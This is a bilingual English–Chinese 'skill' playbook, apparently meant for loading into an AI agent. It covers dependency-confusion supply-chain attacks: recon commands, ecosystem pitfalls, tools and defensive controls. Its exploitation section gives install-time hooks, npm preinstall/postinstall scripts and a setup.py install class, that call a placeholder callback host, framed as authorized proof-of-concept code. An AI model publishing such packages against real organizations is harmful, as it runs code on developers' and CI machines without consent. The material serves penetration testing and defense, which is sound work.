dependency-confusion

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Dependency Confusion — Supply Chain Attack Playbook

SKILL: Dependency Confusion — 供应链攻击手册

AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
AI加载说明:专业依赖混淆方法论,涵盖私有包名泄露方式、公共注册表如何在版本解析中胜出、各生态特有缺陷(npm scope、pip额外索引、Maven仓库顺序)、侦察命令、非破坏性PoC模式(回调,不进行数据窃取)以及防御控制措施。当清单或CI缓存属于测试范围时,可与供应链侦察工作流搭配使用。仅可在你获得授权测试的系统和项目上使用。

0. QUICK START

0. 快速开始

What to look for first
  • Manifests listing package names that look internal (short unscoped names, org-specific tokens, product codenames) without a hard-private registry lock.
  • Evidence the same name might exist—or be squattable—on a public registry with a higher semver than the private feed publishes.
  • Lockfiles missing, stale, or not enforced in CI so
    install
    /
    build
    can drift toward public metadata.
Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.
中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照
recon-for-sec
把内部包名与公开注册表可对齐性列成清单。

优先排查要点
  • 清单文件中列出的包名看起来是内部使用(短的无scope名称、组织专属标识、产品代号),但没有强制绑定私有注册表
  • 存在证据表明相同名称可能在公共注册表上存在、或可被抢注,且其**语义化版本(semver)**高于私有源发布的版本。
  • 锁文件缺失、过时,或在CI中未被强制使用,导致
    install
    /
    build
    过程可能拉取公共源的元数据。
快速理解逻辑如果解析器可以同时访问私有和公共索引,且版本范围允许,那么“最新”的匹配版本可能是攻击者发布的版本。
中文路由提示:若任务来自「供应链 / 仓库泄露 / CI 构建」类侦察,先对照
recon-for-sec
把内部包名与公开注册表可对齐性列成清单。

1. CORE CONCEPT

1. 核心概念

  1. Private packages: An organization ships libraries only on an internal registry (or under conventions that imply “ours”), e.g. a scoped name like
    @org-scope/internal-utils
    or an unscoped name such as
    acme-billing-sdk
    .
  2. Attacker squats the name: The same package name is published on a public registry (npmjs, PyPI, RubyGems, etc.).
  3. Resolver preference: Many setups resolve highest matching version across all configured indexes (or merge metadata), so a public
    9.9.9
    can beat a private
    1.2.3
    if ranges allow.
  4. Execution: Package managers run lifecycle scripts (npm
    preinstall
    /
    postinstall
    , setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.
This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.

  1. 私有包:企业仅在内部注册表发布的依赖库(或遵循“内部专属”命名规范),例如scope形式的
    @org-scope/internal-utils
    ,或无scope的
    acme-billing-sdk
  2. 攻击者抢注名称:攻击者在公共注册表(npmjs、PyPI、RubyGems等)上发布同名包。
  3. 解析器优先级:很多配置会从所有已配置的索引中选择最高的匹配版本(或合并元数据),因此如果版本范围允许,公共源的
    9.9.9
    版本会覆盖私有源的
    1.2.3
    版本。
  4. 代码执行:包管理器会运行生命周期脚本(npm的
    preinstall
    /
    postinstall
    、setuptools入口点等)→ 攻击者代码会在开发者电脑、CI或生产镜像构建环节运行。
这是典型的供应链类问题:影响范围通常很广(大量使用者),且在构建或运行时钩子触发前很难被发现。

2. AFFECTED ECOSYSTEMS

2. 受影响的生态

EcosystemTypical manifestConfusion angle
npm
package.json
Scoped packages (
@scope/pkg
) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries /
.npmrc
registry
vs per-scope
@scope:registry=
misconfiguration increases risk.
pip
requirements.txt
,
pyproject.toml
,
setup.py
pip install -i
/
--extra-index-url
merges indexes; a public index can serve a higher version for the same distribution name.
RubyGems
Gemfile
source
order and additional sources; ambiguous gem names reachable from rubygems.org.
Maven
pom.xml
Repository declaration order and mirror settings; a public repo publishing the same
groupId:artifactId
under a higher version can win if policy allows.
Composer
composer.json
Packagist is default; private packages without
repositories
/
canonical
discipline may collide with public names.
Docker
FROM
, image tags
Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images.

生态典型清单文件混淆风险点
npm
package.json
当scope在公共注册表被企业持有时,带scope的包(
@scope/pkg
更安全;无scope的私有风格名称高风险。多注册表配置、
.npmrc
中全局
registry
与按scope配置的
@scope:registry=
配置错误会提升风险。
pip
requirements.txt
,
pyproject.toml
,
setup.py
pip install -i
/ **
--extra-index-url
**会合并多索引的结果;公共索引可以为同名包提供更高版本。
RubyGems
Gemfile
**
source
**配置顺序和额外源配置;可从rubygems.org访问到歧义的gem名称。
Maven
pom.xml
仓库声明顺序镜像设置;如果策略允许,发布了相同
groupId:artifactId
更高版本的公共仓库会被优先拉取。
Composer
composer.json
Packagist是默认源;没有规范配置**
repositories
**/
canonical
的私有包可能和公共包名冲突。
Docker
FROM
, 镜像标签
容器注册表(例如公共Hub)上的镜像名称和内部基础镜像名称相似时的拼写抢注风险。

3. RECONNAISSANCE

3. 侦察

Where internal names leak
  • Committed
    package.json
    ,
    requirements.txt
    ,
    Gemfile
    ,
    pom.xml
    ,
    composer.json
    in repos or forks.
  • JavaScript source maps, bundled assets, or error stack traces referencing package paths.
  • .npmrc
    ,
    .pypirc
    , CI logs showing install URLs or mirror endpoints.
  • Issue trackers, gist snippets, and dependency graphs from SBOM exports.
Check public squatting / claimability (read-only)
bash
undefined
内部名称泄露途径
  • 代码仓库或Fork中提交的**
    package.json
    requirements.txt
    Gemfile
    pom.xml
    composer.json
    **文件。
  • JavaScript source map、打包产物、或错误栈追踪中引用的包路径。
  • .npmrc
    .pypirc
    CI日志中暴露的安装地址或镜像端点。
  • Issue追踪系统gist代码片段、以及SBOM导出的依赖图谱
检查公共抢注/可认领状态(只读操作)
bash
undefined

npm — metadata for a name (unscoped)

npm — 查询无scope包的元数据

npm view some-internal-package-name version
npm view some-internal-package-name version

npm — scoped (requires scope to exist / be readable)

npm — 查询带scope的包(需要scope存在/可公开访问)

npm view @some-scope/internal-lib versions --json
npm view @some-scope/internal-lib versions --json

PyPI — dry-run style version probe (adjust name; fails if not found)

PyPI — 干运行版本探测(调整包名;不存在则报错)

python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

RubyGems — query remote

RubyGems — 远程查询

gem search '^some-internal-package-name$' --remote
gem search '^some-internal-package-name$' --remote

Maven Central — search coordinates (example pattern)

Maven Central — 查询坐标(示例模式)


中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。

---

中文路由提示:包名枚举完成后,在「仅授权环境」下再考虑 PoC;公开注册表查询本身多为被动侦察。

---

4. EXPLOITATION

4. 漏洞利用

Authorized testing pattern
  1. Register (or use a controlled namespace) the same package name on the public registry your target resolver can reach.
  2. Publish a higher semver than the legitimate internal line within the victim’s declared range (e.g.
    ^1.0.0
    → publish
    9.9.9
    ).
  3. Add lifecycle hooks that prove execution without harming hosts—prefer DNS/HTTP callback to a collaborator you control, no destructive writes.
npm
package.json
— minimal callback-style PoC (illustrative)
json
{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}
npm
package.json
— shell + curl fallback (illustrative)
json
{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}
pip — setup hook pattern (illustrative; use only in authorized lab packages)
python
undefined
授权测试模式
  1. 在目标解析器可访问的公共注册表上注册(或使用可控的命名空间)同名包
  2. 发布高于合法内部版本、且在受害者声明的版本范围内的版本(例如目标声明
    ^1.0.0
    → 发布
    9.9.9
    版本)。
  3. 添加能证明代码执行但不会损害主机的生命周期钩子,优先选择向你可控的服务发送DNS/HTTP回调,不要进行破坏性写入操作。
npm
package.json
— 最小化回调式PoC(仅作示例)
json
{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}
npm
package.json
— shell + curl 降级方案(仅作示例)
json
{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}
pip — 安装钩子模式(仅作示例;仅在授权实验包中使用)
python
undefined

setup.py (excerpt)

setup.py (片段)

from setuptools import setup from setuptools.command.install import install
class PoCInstall(install): def run(self): import urllib.request urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install") install.run(self)
setup( name="some-internal-package-name", version="9.9.9", cmdclass={"install": PoCInstall}, )

**Reference implementation (study / lab)**: community PoC layout and workflow similar to [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — automate version bump, publish, and callback confirmation **only where you have written permission**.

---
from setuptools import setup from setuptools.command.install import install
class PoCInstall(install): def run(self): import urllib.request urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install") install.run(self)
setup( name="some-internal-package-name", version="9.9.9", cmdclass={"install": PoCInstall}, )

**参考实现(学习/实验用)**:社区PoC结构和工作流可参考 [`0xsapra/dependency-confusion-exploit`](https://github.com/0xsapra/dependency-confusion-exploit) — 仅在你获得书面授权的场景下,自动化完成版本升级、发布和回调确认操作。

---

5. TOOLS

5. 工具

ToolRole
visma-prodsec/confusedScans manifest files for dependency names that may be claimable on public registries (multi-ecosystem).
synacktiv/DepFuzzerAutomated dependency confusion testing workflows (use strictly in-scope).
Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.

工具作用
visma-prodsec/confused扫描清单文件,查找可能在公共注册表上被抢注的依赖名称(支持多生态)。
synacktiv/DepFuzzer自动化依赖混淆测试工作流(仅在测试范围内使用)。
仅可针对你自己的清单文件或授权的项目运行这些工具;不要使用它们为无关第三方抢注包名。

6. DEFENSE

6. 防御措施

  • npm: Prefer scoped packages (
    @org-scope/pkg
    ) with org-owned scopes; set
    .npmrc
    so private scopes map to private registry and default
    registry
    is not accidentally public for internal names.
  • Pinning: Exact versions + lockfiles (
    package-lock.json
    ,
    poetry.lock
    ,
    Gemfile.lock
    ,
    composer.lock
    ) enforced in CI.
  • pip: Avoid careless
    --extra-index-url
    ; prefer single private index with mirroring, or explicit
    --index-url
    policies in CI.
  • Maven / Gradle: Control repository order, use internal mirrors, and block unexpected groupIds on release pipelines.
  • Composer: Use
    repositories
    with
    canonical: true
    for private packages; verify Packagist is not introducing unexpected vendors.
  • Defensive registration: Reserve internal names on public registries (squat your own names) where policy allows.
  • Monitoring: Tools such as Socket.dev, Snyk, or similar SBOM/supply-chain scanners to alert on new publishers or version jumps for critical packages.

  • npm:优先使用企业持有scope的带scope包
    @org-scope/pkg
    );配置**
    .npmrc
    **将私有scope映射到私有注册表,避免内部名称意外使用公共
    registry
  • 版本锁定:在CI中强制使用精确版本+锁文件
    package-lock.json
    poetry.lock
    Gemfile.lock
    composer.lock
    )。
  • pip:避免随意使用**
    --extra-index-url
    ;优先使用带镜像能力的单一私有索引**,或在CI中配置明确的**
    --index-url
    **策略。
  • Maven / Gradle:控制仓库顺序,使用内部镜像,在发布流水线中拦截非预期的groupId。
  • Composer:为私有包配置**
    repositories
    并设置
    canonical: true
    **;确认Packagist不会引入非预期的依赖。
  • 防御性注册:政策允许的情况下,在公共注册表上预留内部包名(自己抢注自己的包名)。
  • 监控:使用Socket.devSnyk或同类SBOM/供应链扫描工具,对核心包的新发布者版本跳变进行告警。

7. DECISION TREE

7. 决策树

text
Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
    ├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
    │   ├─ YES → Lower risk; still verify CI and developer machines do not override config.
    │   └─ NO → HIGH RISK
    │         ├─ Can a public registry publish a HIGHER version inside declared ranges?
    │         │   ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
    │         │   └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
    │         └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)

text
清单文件引用的包名是否不是全局唯一的?
├─ 否 → 仅从命名角度看依赖混淆可能性低;转向拼写抢注/账号泄露风险排查。
└─ 是
    ├─ 私有注册表是否是该名称的唯一来源(scope绑定+.npmrc配置/单一索引/镜像)?
    │   ├─ 是 → 风险较低;仍需确认CI和开发者设备不会覆盖配置。
    │   └─ 否 → 高风险
    │         ├─ 公共注册表是否可以发布符合声明版本范围的更高版本?
    │         │   ├─ 是 → 授权测试中视为可利用;使用回调PoC验证。
    │         │   └─ 否 → 检查预发布标签、本地`file:`依赖、过时锁文件。
    │         └─ CI中是否禁用/拦截了生命周期脚本?(降低影响,但不会消除抢注风险)

Related routing

相关路由

  • From
    recon-for-sec
    : When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.
  • 来自
    recon-for-sec
    :开展供应链侦察时,在提出任何发布/PoC步骤前,将泄露的清单和内部包标识与第3节的检查项、第7节的决策树进行交叉校验。